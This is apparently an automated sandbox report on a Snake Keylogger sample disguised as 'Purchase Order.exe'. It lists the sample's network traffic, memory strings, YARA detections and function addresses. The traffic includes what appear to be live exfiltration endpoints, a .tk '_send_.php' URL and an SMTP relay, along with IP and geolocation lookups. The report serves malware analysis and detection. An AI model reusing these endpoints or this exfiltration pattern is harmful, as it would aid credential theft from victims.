Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /_send_.php?TS HTTP/1.1Host: scratchdreams.tkConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.67.152 104.21.67.152
Source: Joe Sandbox View	IP Address: 208.91.199.224 208.91.199.224
Source: Joe Sandbox View	IP Address: 104.21.27.85 104.21.27.85
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: checkip.dyndns.org

Source: global traffic

TCP traffic: 192.168.2.4:49756 -> 208.91.199.224:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.4:49736 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/102.129.152.231 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /_send_.php?TS HTTP/1.1Host: scratchdreams.tkConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: checkip.dyndns.org

Source: Purchase Order.exe, 00000002.00000002.4124971142.00000000032C4000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033BC000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003357000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033AD000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003365000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003373000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: Purchase Order.exe, 00000002.00000002.4124971142.00000000032C4000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.000000000338E000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033BC000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003357000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033AD000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003365000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000032B2000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003373000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003303000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Purchase Order.exe, 00000002.00000002.4124971142.0000000003201000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Purchase Order.exe, 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: Purchase Order.exe, 00000002.00000002.4124971142.00000000033BC000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003357000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033AD000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003365000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003373000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000032DD000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: Purchase Order.exe, 00000002.00000002.4124971142.0000000003201000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Purchase Order.exe, 00000002.00000002.4124971142.00000000033CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://scratchdreams.tk
Source: Purchase Order.exe, 00000002.00000002.4124971142.00000000034A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://us2.smtp.mailhostbox.com
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000000.00000002.1736293448.0000000005C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Purchase Order.exe, 00000000.00000002.1736435979.0000000007462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: Purchase Order.exe, 00000002.00000002.4124971142.00000000032C4000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033BC000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003357000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033AD000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003365000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003373000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003303000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Purchase Order.exe, 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000032C4000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Purchase Order.exe, 00000002.00000002.4124971142.0000000003380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/102.129.152.231
Source: Purchase Order.exe, 00000002.00000002.4124971142.00000000033BC000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003357000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033AD000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003365000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003373000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003303000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/102.129.152.231$
Source: Purchase Order.exe, 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.0000000003201000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4124971142.00000000033CA000.00000004.00000800.00020000.00000000.sdmp, Purchase Order.exe, 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://scratchdreams.tk
Source: Purchase Order.exe, 00000002.00000002.4124971142.00000000033CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://scratchdreams.tk/_send_.php?TS

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown

HTTPS traffic detected: 104.21.27.85:443 -> 192.168.2.4:49750 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.Purchase Order.exe.456bca8.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Purchase Order.exe.456bca8.9.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Purchase Order.exe.456bca8.9.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Purchase Order.exe.456bca8.9.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.Purchase Order.exe.454b488.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Purchase Order.exe.454b488.7.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Purchase Order.exe.454b488.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Purchase Order.exe.454b488.7.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 2.2.Purchase Order.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.Purchase Order.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.Purchase Order.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 2.2.Purchase Order.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.Purchase Order.exe.456bca8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Purchase Order.exe.456bca8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Purchase Order.exe.456bca8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.Purchase Order.exe.454b488.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Purchase Order.exe.454b488.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Purchase Order.exe.454b488.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: Purchase Order.exe PID: 6576, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: Purchase Order.exe PID: 6576, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: Purchase Order.exe PID: 7048, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: Purchase Order.exe PID: 7048, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Purchase Order.exe

Source: C:\Users\user\Desktop\Purchase Order.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_0190D5BC	0_2_0190D5BC
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_05300740	0_2_05300740
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_05305BE8	0_2_05305BE8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_05304A30	0_2_05304A30
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_058697D8	0_2_058697D8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_05869768	0_2_05869768
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_094B7828	0_2_094B7828
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_094BB168	0_2_094BB168
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_094B7818	0_2_094B7818
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_094BEA40	0_2_094BEA40
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_094BEA50	0_2_094BEA50
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_094B3AC8	0_2_094B3AC8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_094B3AD8	0_2_094B3AD8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_094BDDA8	0_2_094BDDA8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_094BB158	0_2_094BB158
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_094BE1D2	0_2_094BE1D2
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_094BE1E0	0_2_094BE1E0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_094B6240	0_2_094B6240
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_094B622F	0_2_094B622F
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_094BE618	0_2_094BE618
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_01666168	2_2_01666168
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_0166C1F0	2_2_0166C1F0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_0166B388	2_2_0166B388
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_0166C4D0	2_2_0166C4D0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_0166C7B2	2_2_0166C7B2
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_016668E0	2_2_016668E0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_016698B8	2_2_016698B8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_01664B31	2_2_01664B31
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_0166FA10	2_2_0166FA10
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_0166CA92	2_2_0166CA92
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_0166EDF0	2_2_0166EDF0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_0166BF10	2_2_0166BF10
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_016621A8	2_2_016621A8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_0166E300	2_2_0166E300
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_0166E310	2_2_0166E310
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_0166B552	2_2_0166B552
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_016635CA	2_2_016635CA
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_0166BC08	2_2_0166BC08
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DB3688	2_2_05DB3688
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DB7BA8	2_2_05DB7BA8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DB8278	2_2_05DB8278
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBD5C0	2_2_05DBD5C0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBD5B0	2_2_05DBD5B0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DB0D50	2_2_05DB0D50
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DB0D60	2_2_05DB0D60
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBCD10	2_2_05DBCD10
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBCD01	2_2_05DBCD01
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DB0490	2_2_05DB0490
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DB04A0	2_2_05DB04A0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBC450	2_2_05DBC450
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBC460	2_2_05DBC460
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBF418	2_2_05DBF418
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBF428	2_2_05DBF428
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBEFD0	2_2_05DBEFD0
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBEFC1	2_2_05DBEFC1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBBFF8	2_2_05DBBFF8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBB758	2_2_05DBB758
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBB748	2_2_05DBB748
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBE710	2_2_05DBE710
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBE720	2_2_05DBE720
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DB3678	2_2_05DB3678
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBDE70	2_2_05DBDE70
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBDE61	2_2_05DBDE61
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DB71F4	2_2_05DB71F4
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBD158	2_2_05DBD158
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DB817E	2_2_05DB817E
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBD168	2_2_05DBD168
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DB0900	2_2_05DB0900
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DB08F1	2_2_05DB08F1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBF880	2_2_05DBF880
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBC8B8	2_2_05DBC8B8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBC8A8	2_2_05DBC8A8
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DB0040	2_2_05DB0040
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBF871	2_2_05DBF871
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DBC008	2_2_05DBC008
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 2_2_05DB0007	2_2_05DB0007
